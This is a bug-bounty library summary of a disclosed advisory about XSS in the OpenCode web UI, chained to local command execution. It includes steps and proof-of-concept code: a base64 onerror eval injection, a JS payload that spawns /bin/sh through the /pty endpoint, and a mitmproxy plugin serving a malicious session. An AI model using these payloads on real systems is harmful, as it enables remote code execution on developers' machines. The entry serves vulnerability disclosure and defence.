# Malicious website can execute commands on the local system through XSS in the OpenCode web UI

OpenCode web UI's ?url= server override plus unsanitized markdown HTML yields XSS on localhost:4096, letting a malicious site spawn processes via /pty/ endpoints.

- Payout: Research
- Severity: critical
- Program: OpenCode
- Found by: AlbertSPedersen
- Disclosed: 2026-01-13
- CVE: CVE-2026-22813
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c83v-7274-4vgp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-c83v-7274-4vgp
- Tags: area:os domain:desktop domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained vuln:rce vuln:xss

**Target:** Local OpenCode HTTP server/web UI on localhost:4096
**Root cause:** The web UI accepts a ?url= parameter to load chat sessions from an arbitrary server, and the markdown renderer inserts LLM response HTML into the DOM without sanitization or CSP, so attacker-controlled session content executes JS on the localhost:4096 origin.
**Steps:**
1. Run `opencode` so the API/web UI listens on `localhost:4096`.
2. Serve a malicious session via mitmproxy reverse proxy: `mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096`, returning a session whose message text contains `<img src="/favicon.png" onerror="eval(atob('...'))">`.
3. Lure victim to `http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345`.
4. Injected JS runs `fetch('/pty', {method:'POST', body: JSON.stringify({'command':'/bin/sh','args':['-c','touch /tmp/albert-was-here.txt']}), headers:{'Content-Type':'application/json'}})` then `DELETE /pty/<id>`.
5. Confirm `/tmp/albert-was-here.txt` exists.
**How found:** Noted the ?url= parameter in packages/app/src/app.tsx allows loading sessions from arbitrary servers, combined with the markdown renderer inserting raw HTML with no DOMPurify/CSP, and observed the /pty/ endpoints allow arbitrary process spawning from same-origin JS.
**Exploitation:** Attacker hosts a fake OpenCode server (e.g. mitmproxy in front of a real instance) returning a crafted session with an HTML/JS payload in a message part. Victim opens a localhost:4096 URL with ?url= pointing at the attacker server; the UI loads the session, the unsanitized markdown renders the payload, and same-origin JS calls /pty/ to spawn arbitrary local processes, then redirects away.
**Escalation:** XSS on localhost origin chained to the /pty/ API for full local command execution.
**Insight:** When a localhost dev tool exposes a privileged API (process spawn, file access) and a web UI, look for URL/param overrides that let a remote origin feed content into that UI — any HTML injection there becomes RCE via the local API.

## Proof of concept (copied exactly from the original report)

**XSS payload executing /pty command**

```
payload = """
(async () => {
    // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};
    const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
    const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
    const pty_id = (await r.json())['id'];
    await new Promise(r => setTimeout(r, 500));
    await fetch('/pty/' + pty_id, {method: 'DELETE'})
    window.location.replace('https://example.com');
})()
"""
```

**Malicious message with onerror eval injection**

```
"text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">",
```

**mitmproxy plugin serving malicious session**

```
async def response(flow):
    if flow.request.path.split('?')[0] == '/session':
        flow.response.text = json.dumps([malicious_session], separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
        flow.response.status_code = 200
        flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
        flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))
```

